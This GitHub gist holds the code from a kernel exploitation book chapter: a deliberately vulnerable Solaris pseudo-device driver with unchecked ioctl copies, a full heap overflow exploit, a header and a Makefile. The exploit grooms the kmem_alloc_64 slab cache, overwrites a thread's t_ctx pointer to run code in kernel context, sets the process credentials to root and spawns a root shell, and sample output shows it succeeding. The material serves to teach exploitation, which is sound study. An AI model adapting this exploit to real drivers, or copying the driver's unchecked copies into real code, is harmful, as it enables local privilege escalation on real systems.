Created
October 31, 2014 15:56
-
-
Save Proteas/f150034acee2481d3b7d to your computer and use it in GitHub Desktop.
A Guide to Kernel Exploitation - Chapter 4 - Solaris - Heap Overflow - Tested on OpenSolaris-0906
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
name="dummy" parent="pseudo" instance="0"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* dummymod.c | |
* | |
* Solary dummy (and vulnerable) module code. Creates a pseudo device in | |
* /devices/pseudo/dummy0:0 which can be attacked by vulnerable IOCTL calls. | |
* | |
* To compile and install (with SunStudio, on a amd64 64-bit kernel) use: | |
* | |
* # cc -D_KERNEL -m64 -xmodel=kernel -c dummymod.c | |
* # /usr/bin/ld -r -o dummy dummymod.o | |
* | |
* and then: | |
* # cp dummy /kernel/drv/amd64/ | |
* # cp dummy.conf /kernel/drv/ | |
* # add_drv -m '* 0644 root sys' dummy | |
* | |
* At this point pseudo device has been created: | |
* # ls -l /devices/pseudo/dummy\@0\:0 | |
* crw-r--r-- 1 root sys 302, 0 2010-09-24 02:33 /devices/pseudo/dummy@0:0 | |
* | |
* To "remove" use rem_drv | |
* # rem_drv dummy | |
*/ | |
#include <sys/devops.h> | |
#include <sys/conf.h> | |
#include <sys/modctl.h> | |
#include <sys/types.h> | |
#include <sys/file.h> | |
#include <sys/errno.h> | |
#include <sys/open.h> | |
#include <sys/cred.h> | |
#include <sys/uio.h> | |
#include <sys/stat.h> | |
#include <sys/cmn_err.h> | |
#include <sys/ddi.h> | |
#include <sys/sunddi.h> | |
#include "dummymod.h" | |
static int test_attach(dev_info_t *dip, ddi_attach_cmd_t cmd); | |
static int test_detach(dev_info_t *dip, ddi_detach_cmd_t cmd); | |
static int test_getinfo(dev_info_t *dip, ddi_info_cmd_t cmd, void *arg, | |
void **resultp); | |
static int test_open(dev_t *devp, int flag, int otyp, cred_t *cred); | |
static int test_close(dev_t dev, int flag, int otyp, cred_t *cred); | |
static int test_ioctl(dev_t dev, int cmd, intptr_t arg, int mode, | |
cred_t *cred_p, int *rval_p ); | |
static struct cb_ops test_cb_ops = { | |
test_open, | |
test_close, | |
nodev, /* no stragegy */ | |
nodev, /* no print */ | |
nodev, /* no dump */ | |
nodev, | |
nodev, | |
test_ioctl, | |
nodev, /* no devmap */ | |
nodev, /* no mmap */ | |
nodev, /* no segmap */ | |
nochpoll, | |
ddi_prop_op, | |
NULL, | |
D_NEW | D_MP, | |
CB_REV, /* cb_ops revision number */ | |
nodev, /* no aread */ | |
nodev /* no awrite */ | |
}; | |
static struct dev_ops test_dev_ops = { | |
DEVO_REV, | |
0, /* reference count */ | |
test_getinfo, | |
nulldev, /* no identify - nulldev returns 0 */ | |
nulldev, /* no probe */ | |
test_attach, | |
test_detach, | |
nodev, /* no reset - nodev returns ENXIO */ | |
&test_cb_ops, | |
(struct bus_ops *)NULL, | |
nodev /* no power */ | |
}; | |
static struct modldrv md = { | |
&mod_driverops, /* Type of module. This is a driver. */ | |
"vulnerable dummy module", /* Name of the module. */ | |
&test_dev_ops | |
}; | |
/* modlinkage structure */ | |
static struct modlinkage ml = { | |
MODREV_1, | |
&md, | |
NULL | |
}; | |
/* dev_info structure */ | |
dev_info_t *test_dip; /* keep track of one instance */ | |
/* Loadable module configuration entry points */ | |
int | |
_init(void) | |
{ | |
cmn_err(CE_NOTE, "Loading dummy vulnerable module..."); | |
return (mod_install(&ml)); | |
} | |
int | |
_info(struct modinfo *modinfop) | |
{ | |
return (mod_info(&ml, modinfop)); | |
} | |
int | |
_fini(void) | |
{ | |
cmn_err(CE_NOTE, "Unloading dummy vulnerable module..."); | |
return(mod_remove(&ml)); | |
} | |
/* Device configuration entry points */ | |
static int | |
test_attach(dev_info_t *dip, ddi_attach_cmd_t cmd) | |
{ | |
switch(cmd) { | |
case DDI_ATTACH: | |
test_dip = dip; | |
if (ddi_create_minor_node(dip, "0", S_IFCHR, | |
ddi_get_instance(dip), DDI_PSEUDO,0) != DDI_SUCCESS) | |
return (DDI_FAILURE); | |
else | |
return (DDI_SUCCESS); | |
default: | |
return DDI_FAILURE; | |
} | |
} | |
static int | |
test_detach(dev_info_t *dip, ddi_detach_cmd_t cmd) | |
{ | |
cmn_err(CE_NOTE, "Inside test_detach"); | |
switch(cmd) { | |
case DDI_DETACH: | |
test_dip = 0; | |
ddi_remove_minor_node(dip, NULL); | |
return (DDI_SUCCESS); | |
default: | |
return (DDI_FAILURE); | |
} | |
} | |
static int | |
test_getinfo(dev_info_t *dip, ddi_info_cmd_t cmd, void *arg, | |
void **resultp) | |
{ | |
cmn_err(CE_NOTE, "Inside test_getinfo"); | |
switch(cmd) { | |
case DDI_INFO_DEVT2DEVINFO: | |
*resultp = test_dip; | |
return (DDI_SUCCESS); | |
case DDI_INFO_DEVT2INSTANCE: | |
*resultp = 0; | |
return (DDI_SUCCESS); | |
default: | |
return (DDI_FAILURE); | |
} | |
} | |
/* | |
* Pretty darn dummy... | |
*/ | |
static int | |
test_open(dev_t *devp, int flag, int otyp, cred_t *cred) | |
{ | |
return (DDI_SUCCESS); | |
} | |
static int | |
test_close(dev_t dev, int flag, int otyp, cred_t *cred) | |
{ | |
return (DDI_SUCCESS); | |
} | |
#define STACKBUF (32) | |
static int handle_stack (intptr_t arg) | |
{ | |
char buf[STACKBUF]; | |
struct test_request req; | |
ddi_copyin((void *)arg, &req, sizeof(struct test_request), 0); | |
cmn_err(CE_CONT, "Requested to copy over buf %d bytes from %p\n", | |
req.size, &buf); | |
ddi_copyin((void *)req.addr, buf, req.size, 0); | |
return (0); | |
} | |
static void alloc_heap_buf (intptr_t arg) | |
{ | |
char *buf; | |
struct test_request req; | |
ddi_copyin((void *)arg, &req, sizeof(struct test_request), 0); | |
buf = kmem_alloc(req.size, KM_SLEEP); | |
req.addr = (unsigned long)buf; | |
ddi_copyout(&req, (void *)arg, sizeof(struct test_request), 0); | |
} | |
static void free_heap_buf (intptr_t arg) | |
{ | |
char *buf; | |
struct test_request req; | |
ddi_copyin((void *)arg, &req, sizeof(struct test_request), 0); | |
buf = (char *)req.addr; | |
kmem_free(buf, req.size); | |
} | |
static void handle_heap_ovf (intptr_t arg) | |
{ | |
char *buf; | |
struct test_request req; | |
ddi_copyin((void *)arg, &req, sizeof(struct test_request), 0); | |
buf = kmem_alloc(64, KM_SLEEP); | |
cmn_err(CE_CONT, "performing heap ovf at %p\n", buf); | |
ddi_copyin((void *)req.addr, buf, req.size, 0); | |
} | |
static int test_ioctl (dev_t dev, int cmd, intptr_t arg, int mode, | |
cred_t *cred_p, int *rval_p ) | |
{ | |
switch (cmd) { | |
case TEST_STACKOVF: | |
cmn_err(CE_CONT,"ioctl: requested STACKOVF test\n"); | |
handle_stack(arg); | |
break; | |
case TEST_ALLOC_SLAB_BUF: | |
alloc_heap_buf(arg); | |
break; | |
case TEST_FREE_SLAB_BUF: | |
free_heap_buf(arg); | |
break; | |
case TEST_SLABOVF: | |
cmn_err(CE_CONT, "ioctl: requested HEAPOVF test\n"); | |
handle_heap_ovf(arg); | |
break; | |
case TEST_NULLDRF: | |
break; | |
default: | |
return (DDI_FAILURE); | |
} | |
return DDI_SUCCESS; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
enum | |
{ | |
TEST_STACKOVF = 0, | |
TEST_ALLOC_SLAB_BUF, | |
TEST_FREE_SLAB_BUF, | |
TEST_SLABOVF, | |
TEST_NULLDRF, | |
}; | |
typedef struct test_request { | |
unsigned long addr; | |
unsigned long size; | |
} test_request; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* hexpl.c - Solaris kernel heap overflow exploit | |
* | |
* This exploit targets the vulnerable dummy driver, presenting a real word | |
* vector to exploit a traditional heap (SLAB) overflow. | |
* | |
* Compile with: | |
* cc -o h hexpl.c -lsched -m64 -lkstat | |
* "hexpl.c", line 232: warning: statement not reached | |
* (yeah, that's just being lazy...) | |
* | |
* ...and run: | |
* | |
* luser@opensolaris:/tmp$ ./h | |
* [+] Getting process 1718 kernel address | |
* [+] proc_t at ffffff00eee49078 | |
* [+] raise_cred at 401680 | |
* [+] 72 free buffers in 491 slabs | |
* [+] Exhausting the slab cache... | |
* [+] Force a t_ctx allocation | |
* [+] Triggering the overflow over t_ctx | |
* [+] Entering interactive session... | |
* luser@opensolaris:/tmp# id | |
* uid=0(root) gid=0(root) groups=0(root),10(staff) | |
*/ | |
#include <sys/mman.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <sys/schedctl.h> | |
#include <sys/proc.h> | |
#include <sys/thread.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <stdint.h> | |
#include <string.h> | |
#include <strings.h> | |
#include <schedctl.h> | |
#include <fcntl.h> | |
#include <kstat.h> | |
#include <unistd.h> | |
#include "dummymod.h" | |
#define DUMMY_FILE "/devices/pseudo/dummy@0:0" | |
/* Synchronization variables */ | |
static int do_ctx_alloc, do_ovf, trigger_it; | |
unsigned long my_address; | |
int cred_raised = 0; | |
#define PSINFO_PATH "/proc/self/psinfo" | |
typedef struct psinfo { | |
int pr_flag; /* process flags (DEPRECATED; do not use) */ | |
int pr_nlwp; /* number of active lwps in the process */ | |
pid_t pr_pid; /* unique process id */ | |
pid_t pr_ppid; /* process id of parent */ | |
pid_t pr_pgid; /* pid of process group leader */ | |
pid_t pr_sid; /* session id */ | |
uid_t pr_uid; /* real user id */ | |
uid_t pr_euid; /* effective user id */ | |
gid_t pr_gid; /* real group id */ | |
gid_t pr_egid; /* effective group id */ | |
uintptr_t pr_addr; /* address of process */ | |
size_t pr_size; /* size of process image in Kbytes */ | |
size_t pr_rssize; /* resident set size in Kbytes */ | |
} psinfo_t; | |
typedef struct cred { | |
uint_t cr_ref; /* reference count */ | |
uid_t cr_uid; /* effective user id */ | |
gid_t cr_gid; /* effective group id */ | |
uid_t cr_ruid; /* real user id */ | |
gid_t cr_rgid; /* real group id */ | |
uid_t cr_suid; /* "saved" user id (from exec) */ | |
gid_t cr_sgid; /* "saved" group id (from exec) */ | |
} kcred_t; | |
/* Retrieve the kernel address of the current process. */ | |
unsigned long get_curr_kaddr() | |
{ | |
psinfo_t info; | |
int fd; | |
fd = open(PSINFO_PATH, O_RDONLY); | |
if ( fd == -1) { | |
perror("[-] Failed opening psinfo path"); | |
return (0); | |
} | |
read(fd, (char *)&info, sizeof (info)); | |
close(fd); | |
return info.pr_addr; | |
} | |
/* heap exported kstats are all 64-bit unsigned integers. */ | |
uint64_t get_ui64_val(kstat_t *kt, char *name) | |
{ | |
kstat_named_t *entry; | |
entry = kstat_data_lookup(kt, name); | |
if (entry == NULL) | |
return (-1); | |
return (entry->value.ui64); | |
} | |
/* Simple kernel shellcode to raise current process credentials. */ | |
int raise_cred () | |
{ | |
proc_t *p = (proc_t *)my_address; | |
kcred_t *cred = p->p_cred; | |
kthread_t *k = p->p_tlist; | |
if (cred_raised) | |
return 0; | |
cred->cr_uid = cred->cr_ruid = cred->cr_suid = 0; | |
cred->cr_gid = cred->cr_rgid = cred->cr_sgid = 0; | |
/* cleanup t_ctx */ | |
k->t_ctx = 0; | |
cred_raised = 1; | |
return 0; | |
} | |
/* Run a shell... */ | |
void spawn_shell() | |
{ | |
setuid(0); | |
setgid(0); | |
seteuid(0); | |
execl("/bin/bash", "bash", NULL); | |
} | |
/* | |
* A bunch of MAGIC numbers here and there... but should give the idea. | |
*/ | |
int main(int argc, char **argv) | |
{ | |
int fd; | |
int ret; | |
int i = 0, rounds = 5; | |
struct test_request req; | |
unsigned long *pbuf, retaddr, p_addr; | |
kstat_ctl_t *kh; | |
kstat_t *slab_info; | |
uint64_t start_avail_buf = 0, curr_avail_buf = 0; | |
uint64_t buf_constructed = 0; | |
uint64_t start_create_slabs = 0, curr_create_slabs = 0; | |
char buf[200]; | |
fprintf(stdout, "[+] Getting process %d kernel address\n", getpid()); | |
my_address = get_curr_kaddr(); | |
if (my_address == 0) | |
exit(EXIT_FAILURE); | |
fprintf(stdout, "[+] proc_t at %p\n", my_address); | |
fprintf(stdout, "[+] raise_cred at %p\n", raise_cred); | |
/* Open the libkstat handle. */ | |
kh = kstat_open(); | |
if (kh == NULL) { | |
fprintf(stderr, "Unable to open /dev/kstat handle...\n"); | |
exit(EXIT_FAILURE); | |
} | |
/* Lookup the values to monitor during the attack. */ | |
slab_info = kstat_lookup(kh, "unix", 0, "kmem_alloc_64"); | |
if (slab_info == NULL) { | |
fprintf(stderr, "Unable to find slab kstats...\n"); | |
exit(EXIT_FAILURE); | |
} | |
kstat_read(kh, slab_info, NULL); | |
/* | |
* Lookup the number of available buffers and the number of allocated | |
* slabs. | |
*/ | |
start_avail_buf = get_ui64_val(slab_info, "buf_avail"); | |
start_create_slabs = get_ui64_val(slab_info, "slab_create"); | |
buf_constructed = get_ui64_val(slab_info, "buf_constructed"); | |
printf("[+] %d free buffers in %d slabs\n", start_avail_buf, | |
start_create_slabs); | |
/* You know, just to add that little suspense...*/ | |
sleep(2); | |
fd = open(DUMMY_FILE, O_RDONLY); | |
if (fd == -1) { | |
perror("[-] Open of device file failed"); | |
exit(EXIT_FAILURE); | |
} | |
i = 0; | |
kstat_read(kh, slab_info, NULL); | |
curr_create_slabs = get_ui64_val(slab_info, "slab_create"); | |
printf("[+] Exhausting the slab cache...\n"); | |
while (curr_create_slabs <= start_create_slabs + rounds) { | |
bzero(&req, sizeof(struct test_request)); | |
req.size = 64; | |
ret = ioctl(fd, TEST_ALLOC_SLAB_BUF, &req); | |
kstat_read(kh, slab_info, NULL); | |
curr_create_slabs = get_ui64_val(slab_info, "slab_create"); | |
} | |
/* Do five allocations, as a test (strictly not necessary...) */ | |
for (i = 0; i < 5; i++) { | |
bzero(&req, sizeof(struct test_request)); | |
req.size = 64; | |
ret = ioctl(fd, TEST_ALLOC_SLAB_BUF, &req); | |
} | |
/* Free and re-alloc the same buffer. */ | |
ioctl(fd, TEST_FREE_SLAB_BUF, &req); | |
bzero(&req, sizeof(struct test_request)); | |
req.size = 128; | |
fprintf(stdout, "[+] Force a t_ctx allocation\n"); | |
schedctl_init(); | |
fflush(stdout); | |
memset(buf, 'A', sizeof(buf) -1); | |
pbuf = (unsigned long *)(buf + 64); | |
*pbuf++ = (unsigned long)raise_cred; | |
*pbuf++ = (unsigned long)raise_cred; | |
fprintf(stdout, "[+] Triggering the overflow over t_ctx\n"); | |
req.size = 80; | |
req.addr = (uintptr_t)buf; | |
ret = ioctl(fd, TEST_SLABOVF, &req); | |
while (1) { | |
if (cred_raised == 1) { | |
fprintf(stdout, "[+] Entering interactive session...\n"); | |
/* jackpot. */ | |
spawn_shell(); | |
} | |
} | |
/* | |
* NOTREACHED -- a cleaner exploit may try for a certain amount of | |
* time and then exit down here. | |
*/ | |
close(fd); | |
kstat_close(kh); | |
exit(EXIT_SUCCESS); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
all: driver exp | |
driver: dummymod.c | |
cc -D_KERNEL -m64 -xmodel=kernel -c dummymod.c | |
/usr/bin/ld -r -o dummy dummymod.o | |
exp: | |
cc -o hexp hexpl.c -lsched -m64 -lkstat | |
install: | |
pfexec cp -f dummy /kernel/drv/amd64/ | |
pfexec cp -f dummy.conf /kernel/drv/ | |
pfexec add_drv -m '* 0644 root sys' dummy | |
uninstall: | |
pfexec rem_drv dummy | |
check: | |
ls -l /devices/pseudo/dummy\@0\:0 | |
clean: | |
rm -rf dummymod.o dummy hexp |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment